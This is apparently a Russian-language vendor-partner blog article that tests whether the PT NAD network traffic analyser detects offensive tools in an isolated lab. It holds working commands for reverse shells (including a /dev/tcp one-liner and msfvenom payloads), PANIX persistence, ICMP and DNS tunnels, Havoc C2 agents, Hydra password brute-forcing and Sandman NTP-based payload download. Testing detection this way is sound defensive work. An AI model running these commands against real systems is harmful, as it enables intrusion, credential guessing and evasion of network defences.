PT NAD vs хакерский инструментарий

PT NAD vs хакерский инструментарий

TS Solution тестирует возможности защиты системы анализа трафика.

image

Как команда экспертов TS Solution, работающих с большинством продуктов Positive Technologies, мы часто получаем от заказчиков вопросы из серии: “А обнаружит ли PT NAD (подставьте интересующую вредоносную активность или инструмент злоумышленников)?” К сожалению, ответить на все вопросы во время пилотных проектов получается не всегда. А нам и самим интересно, до какой степени обширны функциональные возможности продукта и насколько эффективно они работают на практике.

Чтобы утолить наш общий интерес, мы, предварительно изучив официальную документацию и посмотрев наборы правил для атак и активностей, решили провести ряд тестов и поделиться ими со всеми, кто стоит перед выбором или интересуется возможностями PT NAD.

Наши тесты включают в себя использование различных популярных хакерских утилит и инструментов для тестирования на проникновение, которыми реальные злоумышленники тоже пользуются. Результаты тестирования мы поместили в эту статью, где каждому отдельному инструменту посвящена отдельная глава.

Данные тесты созданы с целью познакомить читателя с методами детектирования продукта PT NAD. Мы не несем ответственности за последствия использования приведенных инструментов в реальной жизни.

В главах вы найдёте краткое описание продукта, шаги по его использованию и результат обнаружения его активности в PT NAD. Дополнительно мы добавили описание используемого нами стенда, чтобы при желании вы смогли самостоятельно воспроизвести все тесты.

Описание стенда

Для проведения тестирования PT NAD нам потребуется три виртуальные машины. Первая из них в сценариях проверки будет играть роль атакуемой машины, вторая – роль атакующей, а третья – маршрутизатор. Кроме того, нам потребуется четвертая ВМ, на которой будет развернут непосредственно сам PT NAD.

В качестве машины жертвы будем использовать Debian 11 (далее debian), на машине нашего условного злоумышленника — Kali Linux (далее kali), в качестве маршрутизатора — RouterOS (Mikrotik). Теперь наша задача соединить эти две машины так, чтобы трафик между ними проходил через коммутатор. Для этого мы ставим его “между” ними и используем для маршрутизации пакетов между debian и kali.

Выдадим ip-адреса всем интерфейсам:

  • Debian 192.168.2.1
  • Kali 192.168.3.1
  • Mikrotik
    • 192.168.2.250
    • 192.168.3.250

В PT NAD отправляем копию трафика с линии связи между Mikrotik и Debian.

PANIX

PANIX – пентест-утилита, предоставляющая набор инструментов для получения удаленного доступа к компьютеру жертвы и закрепления на нем.

Первым делом необходимо установить PANIX на атакуемый узел (Debian). Скачать данную утилиту можно по ссылке. На компьютере «злоумышленника» (Kali) начинаем прослушивать входящие соединения на 1337 порту (можно выбрать любой другой порт, не использующийся другими службами). Для этого будем использовать утилиту NetCat.

┌──(kali㉿kali)-[~]
└─$ nc -nl -p 1337

Начав прослушивание порта, используем PANIX для организации Reverse Shell с узла Debian. Reverse Shell — это тип хакерской атаки, при которой атакуемая машина подключается к атакующему устройству при помощи внедренной команды или работы фреймворка. Для этого воспользуемся опцией ­­­--at, (panix создаст задачу в планировщике задач at который позволяет создавать отложенные задачи) передав ей в качестве параметров ip-адрес узла Kali (192.168.3.1), прослушиваемый порт (1337) и время, через которое необходимо произвести подключение (мы ждать не хотим, поэтому укажем “now”).

user@debian:~/Soft$ ./panix.sh --at --default --ip 192.168.3.1 --port 1337 --time "now"
warning: commands will be executed using /bin/sh
job 5 at Tue Sep 10 14:57:00 2024
[+] At job persistence established!


После этого на Kali мы увидим, что подключение состоялось.

┌──(kali㉿kali)-[~]
└─$ nc -nl -p 1337
sh: 0: can't access tty; job control turned off
$


Можем выполнить несколько команд. Например, посмотреть имя пользователя и узла или вывести содержимое файла /etc/passwd. Данные команды часто выполняются злоумышленниками для первичной быстрой разведки скомпрометированного устройства. Для завершения сессии необходимо выполнить команду exit.

┌──(kali㉿kali)-[~]
└─$ nc -nl -p 1337
sh: 0: can't access tty; job control turned off
$ whoami
user
$ hostname
debian
$ id
uid=1000 (user) gid=1000 (user) groups=1000 (user), 24 (cd rom), 25 (floppy), 27 (sudo), 29 (audio), 30 (dip), 44 (video), 46(plugdev), 109 (netdev), 131 (wireshark)
$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin

tcpdump:x:124:132::/nonexistent:/usr/sbin/nologin
SandBox:x:1003:1004::/home/SandBox:/bin/sh
_chrony:x:125:135:Chrony daemon,,,:/var/lib/chrony:/usr/sbin/nologin
surbid:I9BGRw9Zgfn66:0:0:root:/root:/bin/bash
$ exit


Атака прошла успешно. Теперь посмотрим, что же обнаружил PT NAD. В карточке сессии видим сработку двух правил атак, обнаруживших вывод команды id и передачу содержимого файла /etc/passwd.

002.jpg

Shellz

Shellz - скрипт для организации Reverse Shell подключения. Ссылка для ознакомления и скачивания.

Устанавливаем утилиту на Kali и запускаем.


┌──(kali㉿kali)-[~/Soft/shells]
└─$ ./shells.sh


Откроется псевдографическое меню. Далее нужно будет указать все необходимые опции и параметры для создания подключения. Сперва выбираем механизм создания Reverse Shell - Bash (опция 3). Затем указываем ip-адрес и порт для подключения: 192.168.3.1 и 3300, в качестве формата ip-адреса выбираем Normal (опция 1). В следующем окне выберем вариант генерации нагрузки без дополнительной кодировки - No encoding TCP (опция 1). В качестве сервиса для прослушивания выберем netcat (опция 2). Началось прослушивание порта 3300.


listening on [any] 3300 ...


На последнем окне меню кроме выбора метода прослушивания порта будет выведена команда, которую необходимо запустить на узле Debian.


/ _____/| |__ ____ | | | | ________
\_____ \ | | \_/ __ \| | | | \___ /
/ \| Y \ ___/| |_| |__/ /
/_______ /|___| /\___ >____/____/_____ \
\/ \/ \/ \/ By 4ndr34z

v.1.7.2


The following has been copied to your clipboard:

sh -i >& /dev/tcp/192.168.3.1/3300 0>&1

The payload is 39 characters


После выполнения данной команды с узла Kali станет доступно выполнение команд.

listening on [any] 3300 ...
connect to [192.168.3.1] from (UNKNOWN) [192.168.2.1] 40836
$ id
uid=1000(user) gid=1000(user) groups=1000(user),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),131(wireshark)
$ whoami
user
$ pwd
/home/user
$ exit

PT NAD обнаружил в трафике вывод команд, в частности команды id.

003.jpg

Metasploit Framework. Reverse shell

Metasploit Framework - это мощный инструмент с открытым исходным кодом, используемый для тестирования на проникновение и оценки безопасности компьютерных систем. Он предоставляет платформу для разработки, тестирования и выполнения эксплойтов против удалённых целей. Входит в состав дистрибутива Kali.

Одно из возможных применений данного инструмента - создание Reverse Shell подключения, при котором целевая машина инициирует соединение к атакующему компьютеру. Для большей наглядности в качестве атакуемой машины будем использовать ВМ под управлением Windows 10 с ip-адресом 192.168.2.5.

Для этого первым делом необходимо создать вредоносный исполняемый файл, который будет необходимо в дальнейшем передать на атакуемую машину и на ней выполнить. Создаем файл с помощью утилиты msfvenom, которая входит в состав Metasploit Framework: ключ -p указывает, какую нагрузку и параметры подключения необходимо использовать, ключом -f задаем формат файла, а ключом -o определяем путь и имя создаваемого командой файла.

sudo msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.168.3.1 LPORT=3300 -f exe -o /home/kali/msf/payload.exe

Теперь нужно запустить процесс, который будет прослушивать указанный при создании файла порт (в нашем примере используется порт 3300) и ожидать подключения от удаленных машин. Для этого переходим в консоль Metasploit Framework командой sudo msfconsole, выбираем модуль exploit/multi/handler и указываем нагрузку и параметры подключения (все те же, что указывали при создании вредоносного файла утилитой msfvenom).

msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/x64/shell/reverse_tcp
payload => windows/x64/shell/reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.168.3.1
lhost => 192.168.3.1
msf6 exploit(multi/handler) > set lport 3300
lport => 3300
msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 192.168.3.1:3300

Передаем созданный файл любым удобным способом (например, через SCP) на Windows 10 и просто запускаем двойным нажатием. В открытой ранее на Kali сессии метасплоита получаем доступ к выполнению команд на удаленной машине.

msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 192.168.3.1:3300
[*] Sending stage (336 bytes) to 192.168.2.5
[*] Command shell session 2 opened (192.168.3.1:3300 -> 192.168.2.5:51197) at 2024-12-26 14:33:43 +0300


Shell Banner:
Microsoft Windows [Version 10.0.19045.5247]
-----


C:\Users\Mikhail\Desktop\Some stuff>whoami
whoami
desktop-c3rkeu3\mikhail

C:\Users\Mikhail\Desktop\Some stuff>

PT NAD обнаружил баннер интерпретатора командной строки в трафике и на основе этого выдал сработку.

004.jpg

Таким образом при сравнении детекта reverse shell организованного разными инструментами, мы наблюдаем, что PT NAD детектирует удаленное выполнение команд и просмотр файлов, но не детектирует сам инструмент.

Hans

Hans – утилита, позволяющая строить ICMP туннель между узлами сети.

Для организации ICMP туннеля необходимо скачать исходники hans и собрать исполняемый файл на обоих узлах: и на Debian, и на Kali. После установки переходим на Kali в директорию с установленным hans и выполняем команду.

sudo ./hans -s 192.168.4.1

Вместо 192.168.4.1 можно указать любой другой ip адрес, не использующийся на машине. Результатом выполнения данной команды должно стать создание нового логического интерфейса tun0 с указанным ip адресом.

┌──(kali㉿kali)-[/hans]
└─$ sudo ./hans -s 192.168.4.1
./hans: opened tunnel device: tun0
./hans: detaching from terminal

┌──(kali㉿kali)-[/hans]
└─$ ip a show dev tun0
4: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1467 qdisc fq_codel state UNKNOWN group default qlen 500
link/none
inet 192.168.4.1/24 scope global tun0
valid_lft forever preferred_lft forever
inet6 fe80::836b:ba84:8cdf:8d2b/64 scope link stable-privacy proto kernel_ll
valid_lft forever preferred_lft forever

Затем на узле Debian, находясь в директории с утилитой, выполняем команду

sudo ./hans -c 192.168.3.1

Важно: необходимо указать ip адрес Kali, с которым есть сетевая связность, а не ip адрес созданного ранее логического интерфейса. В случае успешного выполнения команды будет создан логический интерфейс tun0, которому будет назначен ip адрес из той же подсети, что и ip адрес на аналогичном интерфейсе на Debian. У нас назначился ip 192.168.4.100.

user@debian:/hans$ sudo ./hans -c 192.168.3.1
./hans: opened tunnel device: tun0
./hans: detaching from terminal
user@debian:/hans$ ip a show dev tun0
3: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1467 qdisc pfifo_fast state UNKNOWN group default qlen 500
link/none
inet 192.168.4.100/24 scope global tun0
valid_lft forever preferred_lft forever
inet6 fe80::4335:e4e3:294a:5d7/64 scope link stable-privacy
valid_lft forever preferred_lft forever

Для проверки работоспособности туннеля запустим пинг между интерфейсами tun0. Ответы приходят. ICMP туннель построен.

┌──(kali㉿kali)-[/hans]
└─$ ping 192.168.4.100
PING 192.168.4.100 (192.168.4.100) 56(84) bytes of data.
64 bytes from 192.168.4.100: icmp_seq=1 ttl=64 time=0.455 ms
64 bytes from 192.168.4.100: icmp_seq=2 ttl=64 time=0.599 ms
64 bytes from 192.168.4.100: icmp_seq=3 ttl=64 time=0.538 ms
^C
--- 192.168.4.100 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2045ms
rtt min/avg/max/mdev = 0.455/0.530/0.599/0.059 ms

Можем использовать его по собственному усмотрению. Например, для подключения по SSH.

┌──(kali㉿kali)-[/hans]
└─$ ssh user@192.168.4.100
user@192.168.4.100's password:
Linux debian 5.10.0-32-amd64 #1 SMP Debian 5.10.223-1 (2024-08-10) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
You have new mail.
Last login: Thu Sep 26 14:48:22 2024 from 192.168.4.1
user@debian:~$ id
uid=1000(user)gid=1000(user)groups=1000(user),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),131(wireshark)
user@debian:~$ exit
logout
Connection to 192.168.4.100 closed.

PT NAD обнаружил ICMP туннель, при этом сработали два детекта. Первый обнаруживает ICMP-туннели в целом и не привязан к сигнатурному анализу, создавая карточку в ленте активностей. Второй алерт сгенерирован сигнатурным анализом и является правилом для атак, обнаружившим конкретный инструмент построения ICMP-туннеля, в нашем случае Hans.

005.jpg

006.jpg

Iodine

Iodine - утилита для организации DNS туннелей между узлами.

Скачиваем исходники по ссылке и выполняем сборку утилиты на обоих узлах: Debian и Kali. В результате в каталоге /bin должны будут находиться два исполняемых файла: iodine и iodined, - клиентская и серверная части утилиты соответственно. Сперва запускаем сервер на Kali со следующими параметрами: пароль для подключения (мы будем использовать 1234), ip адрес для создания туннеля (он не должен быть никем занят - укажем 192.168.5.1) и доменное имя, для которого Kali будет выполнять роль авторитетного DNS сервера (мы выбрали nad.test). В итоге наша команда выглядит так:

sudo ./iodined -f -P 1234 192.168.5.1 nad.test.

После ее выполнения должен создаться логический интерфейс dns0 с указанным в команде ip.

┌──(kali㉿kali)-[/iodine/bin]
└─$ sudo ./iodined -f -P 1234 192.168.5.1 nad.test
Opened dns0
Setting IP of dns0 to 192.168.5.1
Setting MTU of dns0 to 1130
Opened IPv4 UDP socket
Opened IPv6 UDP socket
Listening to dns for domain nad.test


┌──(kali㉿kali)-[~]
└─$ ip a show dev dns0
5: dns0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1130 qdisc fq_codel state UNKNOWN group default qlen 500
link/none
inet 192.168.5.1/27 scope global dns0
valid_lft forever preferred_lft forever

На узле Debian выполняем команду

sudo ./iodine -f -P 1234 192.168.3.1 nad.test.

Пароль (1234) и доменное имя (nad.test) должны совпадать с теми, что были использованы ранее при запуске серверной части утилиты на Kali. Важно: необходимо указать ip адрес узла Kali, с которым есть сетевая связность (192.168.3.1), а не тот, что указывали при выполнении команды. В результате должен появиться новый интерфейс dns0 с автоматически присвоенным ему ip адресом из нужной подсети для организации туннеля.

user@debian:/iodine/bin$ sudo ./iodine -f -P 1234 192.168.3.1 nad.test
Opened dns0
Opened IPv4 UDP socket
Sending DNS queries for nad.test to 192.168.3.1
Autodetecting DNS query type (use -T to override).
Using DNS type NULL queries
Version ok, both using protocol v 0x00000502. You are user #0
Setting IP of dns0 to 192.168.5.2
Setting MTU of dns0 to 1130
Server tunnel IP is 192.168.5.1
Requesting server address to attempt raw UDP mode (skip with -r)
Server is at 192.168.3.1, trying raw login: (skip with -r) OK
Sending raw traffic directly to 192.168.3.1
Connection setup complete, transmitting data.


user@debian:~$ ip a show dev dns0
4: dns0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1130 qdisc pfifo_fast state UNKNOWN group default qlen 500
link/none
inet 192.168.5.2/27 scope global dns0
valid_lft forever preferred_lft forever

Проверяем состояние туннеля - пингуем интерфейс dns0. Ответы возвращаются, значит DNS туннель поднят и исправно работает. Его можно использовать по собственному усмотрению, например, для подключения по SSH.

┌──(kali㉿kali)-[~]
└─$ ping 192.168.5.2
PING 192.168.5.2 (192.168.5.2) 56(84) bytes of data.
64 bytes from 192.168.5.2: icmp_seq=1 ttl=64 time=0.781 ms
64 bytes from 192.168.5.2: icmp_seq=2 ttl=64 time=0.907 ms
64 bytes from 192.168.5.2: icmp_seq=3 ttl=64 time=1.02 ms
^C
--- 192.168.5.2 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2026ms
rtt min/avg/max/mdev = 0.781/0.902/1.020/0.097 ms

(kali㉿kali)-[~]
└─$ ssh user@192.168.5.2
user@192.168.5.2's password:
Linux debian 5.10.0-32-amd64 #1 SMP Debian 5.10.223-1 (2024-08-10) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
You have new mail.
Last login: Thu Sep 26 15:31:18 2024 from 10.10.70.66
user@debian:~$ id
uid=1000(user)gid=1000(user)groups=1000(user),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),131(wireshark)
user@debian:~$ exit
logout
Connection to 192.168.5.2 closed.


PT NAD задетектил туннель и определил утилиту, с помощью которой он был построен.

007.jpg

Havoc

Havoc — фреймворк, предназначенный для управления и контроля (CnC), а также постэксплуатации зараженных машин под управлением ОС Windows. Процесс установки, инструкции по использованию данного фреймворка и прочая информация о нем находятся по ссылке.

В Havoc все узлы могут иметь одну из трех ролей: клиент, сервер и агент. Сервер выполняет стандартные задачи CnC-сервера: прослушивание портов, ожидание подключений от зараженных машин, передача им команд для выполнения, генерация вредоносных исполняемых файлов. Клиент может подключаться к серверу для управления им с помощью графического интерфейса. Агент - зараженная машина, находящаяся под управлением сервера.

На нашем стенде Kali совмещает роли сервера и клиента. Роль агента должна была достаться узлу Debian, но фреймворк не поддерживает установку агентов на ОС семейства Linux. Поэтому узел Debian был заменен на ВМ под управлением Windows 10. IP-адресация осталась без изменений.

После завершения установки всех компонентов Havoc на Kali запускаем сервер с параметрами по умолчанию.

┌──(kali㉿kali)-[~/Soft/Havoc]
└─$ ./havoc server --profile ./profiles/havoc.yaotl -v
_______ _______ _______
│\ /│( ___ )│\ /│( ___ )( ____ \
│ ) ( ││ ( ) ││ ) ( ││ ( ) ││ ( \/
│ (___) ││ (___) ││ │ │ ││ │ │ ││ │
│ ___ ││ ___ │( ( ) )│ │ │ ││ │
│ ( ) ││ ( ) │ \ \_/ / │ │ │ ││ │
│ ) ( ││ ) ( │ \ / │ (___) ││ (____/\
│/ \││/ \│ \_/ (_______)(_______/

pwn and elevate until it's done

[06:33:52] [INFO] Havoc Framework [Version: 0.7] [CodeName: Bites The Dust]
[06:33:52] [INFO] Havoc profile: ./profiles/havoc.yaotl
[06:33:52] [INFO] Build:
- Compiler x64 : data/x86_64-w64-mingw32-cross/bin/x86_64-w64-mingw32-gcc
- Compiler x86 : data/i686-w64-mingw32-cross/bin/i686-w64-mingw32-gcc
- Nasm : /usr/bin/nasm
[06:33:52] [INFO] Time: 17/10/2024 06:33:52
[06:33:52] [INFO] Teamserver logs saved under: data/loot/2024.10.17._06:33:52
[06:33:52] [INFO] Starting Teamserver on wss://0.0.0.0:40056
[06:33:52] [INFO] [SERVICE] starting service handle on wss://0.0.0.0:40056/service-endpoint
[06:33:52] [INFO] Opens existing database: data/teamserver.db

Затем запускаем клиент:

┌──(kali㉿kali)-[~/Soft/Havoc]
└─$ ./havoc client
_______ _______ _______
│\ /│( ___ )│\ /│( ___ )( ____ \
│ ) ( ││ ( ) ││ ) ( ││ ( ) ││ ( \/
│ (___) ││ (___) ││ │ │ ││ │ │ ││ │
│ ___ ││ ___ │( ( ) )│ │ │ ││ │
│ ( ) ││ ( ) │ \ \_/ / │ │ │ ││ │
│ ) ( ││ ) ( │ \ / │ (___) ││ (____/\
│/ \││/ \│ \_/ (_______)(_______/

pwn and elevate until it's done

[06:34:02] [info] Havoc Framework [Version: 0.7] [CodeName: Bites The Dust]
[06:34:02] [info] loaded config file: ./client/config.toml

Должно открыться окно авторизации, где необходимо указать данные для подключения к серверу. Если при запуске сервера использовался профиль по умолчанию, то можно нажать кнопку New Profile и данные заполнятся автоматически. Останется указать пароль password1234. Нажимаем кнопку Connect и подключаемся к серверу.

008.jpg

Первым делом создаем задачу на прослушивание порта, к которому будут подключаться агенты. Для этого в панели Listeners (если данной панели нет, то необходимо ее включить в разделе меню View) нажимаем кнопку Add. Откроется окно создания задачи прослушивания. Укажем имя base и способ подключения http, остальные параметры оставим без изменения. Для завершения нажимаем кнопку Save в самом низу окна.

009.jpg

Теперь мы можем создать вредоносный исполняемый файл, который при запуске на удаленной машине будет подключаться к серверу и выполнять передаваемые команды. Для этого переходим в меню Attack→Payload. В открывшемся окне можно все оставить без изменений и нажать кнопку Generate.

010.jpg

После этого необходимо немного подождать и сохранить сгенерированный exe-файл в удобном месте, а затем передать его на машину Windows. Запустив этот файл увидим, что в клиенте для управления стал доступен новый узел.

011.jpg

Нажав на него правой кнопкой мыши, откроется контекстное меню, в котором можно открыть просмотр файлов или запущенных процессов (Explorer), а также перейти в панель по отправке команд (Interact). Список всех команд можно найти на странице Agent в документации. Например, команда checkin выведет информацию о агенте.

17/10/2024 07:26:13 [5pider] Demon » checkin
[*] [390AD476] Tasked demon send back a checkin request
[+] Send Task to Agent [12 bytes]
[*] Received checkin request

Teamserver:
- Session Path : data/loot/2024.10.17._07:25:11/agents/4bbe6e32

Meta Data:
- Agent ID : 4bbe6e32
- Magic Value : deadbeef
- First Call In : 17/10/2024 06:38:15
- Last Call In : 17-10-2024 07:26:16
- AES Key : d6323468e6f4e8fa8204900c14f63cf40c74003a2258fa8aac04e4e04854a456
- AES IV : f242ded428fe9ed85086962420f2d2fe
- Sleep Delay : 2
- Sleep Jitter : 15

Host Info:
- Host Name : DESKTOP-C3RKEU3
- User Name : Mikhail
- Domain Name :
- Internal IP : 192.168.2.1

Process Info:
- Process Name : demon.x64.exe
- Process Arch : x64
- Process ID : 4588
- Thread ID : 8520
- Process Path : C:\Users\Mikhail\Desktop\Some stuff\demon.x64.exe
- Process Elevated : false
- Base Address : 0x7ff653820000

Operating System:
- Version : Windows 10
- Build : 10.0.1.0.16299
- Arch : x64/AMD64

PT NAD увидел подключение к CnC серверу и определил, что использовался фреймворк Havoc.

012.jpg

Hydra

Hydra - инструмент для брутфорса и спреинга паролей. Он входит в состав Kali, так что отдельно его устанавливать не нужно. Исходный код и документацию можно найти по ссылке.

Попробуем с помощью утилиты подключиться к ftp серверу под логином post. Зададим автоматическую генерацию паролей из строчных букв латинского алфавита длиной от 4 до 5 символов.

┌──(kali㉿kali)-[~/Soft/Havoc]
└─$ hydra -l post -x 4:5:a ftp://192.168.2.1/
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-10-17 08:31:02
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 12338352 login tries (l:1/p:12338352), ~771147 tries per task
[DATA] attacking ftp://192.168.2.1:21/
[STATUS] 305.00 tries/min, 305 tries in 00:01h, 12338047 to do in 674:13h, 16 active
[STATUS] 295.33 tries/min, 886 tries in 00:03h, 12337466 to do in 696:15h, 16 active

PT NAD обнаружил данный перебор паролей.

013.jpg

Также проверим подбор паролей в шифрованном трафике, например подключение по ssh. Забегая вперед, скажем, что “из коробки” PT NAD не обнаруживает такие атаки, но он предоставляет инструменты, с помощью которых это можно исправить. Один из вариантов - уведомление по фильтру на количество сессий. Отфильтруем все сессии по ssh с неуспешной аутентификацией (app.proto==”ssh” && ssh.auth==”failed”) и поставим на данный фильтр правило “Больше 120 сессий за 10 минут”.

014.jpg

Также можно упомянуть о пользовательских правилах профилирования (ППП сокращенно). ППП — это инструмент, который работает схожим образом с уведомлением по фильтру, однако порог сработки выбирается самим PT NAD при помощи машинного обучения. PT NAD обучается на трафике, исходящего от разных машин в течение выбранного пользователем времени (минимальное время обучения 7 дней) выявляя норму трафика для каждого узла, и если впоследствии трафик превысит эту норму — PT NAD уведомит об этом.

Теперь переходим к тестированию и выполняем команду по перебору паролей для подключения к SSH.

┌──(kali㉿kali)-[~/Soft/Havoc]
└─$ hydra -l post -x 4:4:a ssh://192.168.2.1/
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-10-17 09:14:14
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 456976 login tries (l:1/p:456976), ~28561 tries per task
[DATA] attacking ssh://192.168.2.1:22/
[STATUS] 126.00 tries/min, 126 tries in 00:01h, 456852 to do in 60:26h, 14 active
[STATUS] 98.67 tries/min, 296 tries in 00:03h, 456682 to do in 77:09h, 14 active
[STATUS] 90.14 tries/min, 631 tries in 00:07h, 456348 to do in 84:23h, 13 active
[STATUS] 85.40 tries/min, 1281 tries in 00:15h, 455698 to do in 88:57h, 13 active

Правило по фильтру сработало и обнаружило подбор паролей.

015.jpg

Sandman (+ Metasploit)

Sandman - инструмент для обхода защитных мер, примененных в сети. В его работе используется NTP - протокол для синхронизации времени. Данный протокол разрешен во многих сетях и инфраструктурах, таким образом Sandman позволяет загружать и исполнять код на удаленной машине сквозь блокировки межсетевых экранов.

Ознакомиться с проектом и скачать исходный код можно по ссылке. На Kali необходимо перенести содержимое каталога SandmanServer. Вместо Debian используем ВМ на Windows 10 с ip-адресом 192.168.2.5. На эту ВМ необходимо перенести два оставшихся каталога и собрать в VS2022 находящиеся в них проекты.

Итак, чтобы Sandman загрузил и исполнил какую-нибудь нагрузку на удаленной машине, ее нужно сначала создать. Для этого воспользуемся Metasploit Framework. Тут повторяем шаги из главы “Metasploit Framework. Reverse shell” за одним исключением: нагрузку мы не будем имплементировать в исполняемый файл, а оставим прямо так в “сыром” виде. При создании важно обратить внимание на размер нагрузки: необходимо ее запомнить - она нам потом пригодится.

┌──(kali㉿kali)-[~/msf]

└─$ sudo msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.168.3.1 LPORT=3300 -f raw -o /home/kali/msf/raw_payload

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload

[-] No arch selected, selecting arch: x64 from the payload

No encoder specified, outputting raw payload

Payload size: 510 bytes

Saved as: /home/kali/msf/raw_payload


┌──(kali㉿kali)-[~]

└─$ sudo msfconsole

msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/x64/shell/reverse_tcp
payload => windows/x64/shell/reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.168.3.1
lhost => 192.168.3.1
msf6 exploit(multi/handler) > set lport 3300
lport => 3300
msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 192.168.3.1:3300

Теперь необходимо созданный файл с нагрузкой разместить на каком-нибудь веб-сервере для его дальнейшего скачивания. Мы для этой цели поднимем SimpleHttpServer на Python. Перейдем в директорию с нашим файлом и выполним команду python -m http.server. Теперь по адресу http://192.168.3.1:8000 доступно все содержимое директории с файлом (можно вбить в адресную строку в браузере и проверить).

Все приготовления выполнены - переходим непосредственно к Sandman. Вспоминаем или смотрим (например командой ls -l) размер нагрузки. В нашем случае размер равен 510 байтам. Открываем в текстовом редакторе (мы используем nano) скрипт sandman_server.py и меняем параметр PAYLOAD_SIZE.

┌──(kali㉿kali)-[~/Soft/Sandman/SandmanServer]

└─$ nano sandman_server.py



import sys

import scapy.all as scapy

from scapy.layers.ntp import NTP

from scapy.layers.inet import IP, UDP


from time import sleep


PAYLOAD_SIZE = 510 # Replace with the real size of your shellcode!

Теперь запускаем сервер и передаем ему в качестве параметров интерфейс и URL для скачивания нагрузки.

┌──(kali㉿kali)-[~/Soft/Sandman/SandmanServer]
└─$ sudo python sandman_server.py eth0 http://192.168.3.1:8000/raw_payload
_____ _
/ ____| | |
| (___ __ _ _ __ __| |_ __ ___ __ _ _ __
\___ \ / _` | '_ \ / _` | '_ ` _ \ / _` | '_ \
____) | (_| | | | | (_| | | | | | | (_| | | | |
|_____/ \__,_|_| |_|\__,_|_| |_| |_|\__,_|_| |_|

Теперь на Windows 10 запускаем собранный из исходного кода файл Sandman.exe. Увидим подключения к нашему псевдо-ntp-серверу, подключение к веб-серверу, а также установленное Reverse Shell подключение.

┌──(kali㉿kali)-[~/Soft/Sandman/SandmanServer]
└─$ sudo python sandman_server.py eth0 http://192.168.3.1:8000/raw_payload
_____ _
/ ____| | |
| (___ __ _ _ __ __| |_ __ ___ __ _ _ __
\___ \ / _` | '_ \ / _` | '_ ` _ \ / _` | '_ \
____) | (_| | | | | (_| | | | | | | (_| | | | |
|_____/ \__,_|_| |_|\__,_|_| |_| |_|\__,_|_| |_|

[ + ] Got a packet from the backdoor!
[ ! ] Entering sandman...
[ + ] Activated the backdoor for 192.168.2.5!


┌──(kali㉿kali)-[~/msf]
└─$ python -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
192.168.2.5 - - [26/Dec/2024 16:17:29] "GET /raw_payload HTTP/1.1" 200 -


[*] Started reverse TCP handler on 192.168.3.1:3300
[*] Sending stage (336 bytes) to 192.168.2.5
[*] Command shell session 6 opened (192.168.3.1:3300 -> 192.168.2.5:51306) at 2024-12-26 16:17:35 +0300

Shell Banner:
Microsoft Windows [Version 10.0.19045.5247]
-----

C:\Windows\System32>

PT NAD обнаружил деятельность Sandman’а и последующую передачу вывода интерпретатора командной строки в трафике.

016.jpg

017.jpg

Заключение

Итак, мы проверили хакерский инструментарий разнообразного назначения: протестировали утилиты для построения туннелей, фреймворки для эксплуатации уязвимостей, закрепления и горизонтального перемещения, реверс-шеллы, даже симулятор атак и многое другое.

PT NAD отлично справился со своей работой. Инструмент обнаружил активность всего тестируемого вредоносного ПО. А во множестве случаев смог определить и какой именно инструмент использовался.

Перечень инструментов, использованных в тестах, не является полным. Поэтому мы планируем постепенно добавлять к этому материалу новые главы.

Авторы:

Михаил Меркулов и Артем Комаров, системные инженеры TS Solution, сертифицированные тренеры по NAD и Sandbox.

Когда система кажется надёжной, проверь ещё раз

Опаснее всего — ощущение полной безопасности. На вебинаре 24 апреля поговорим о критичных нюансах архитектуры защиты КИИ, обучении персонала и современных подходах: от PAM* до deception**.

Реклама. 18+, АО «Аксофт», ИНН 7725239575
*PAM (Privileged Account Management) - контроль привилегированных пользователей
**Deception - обманные системы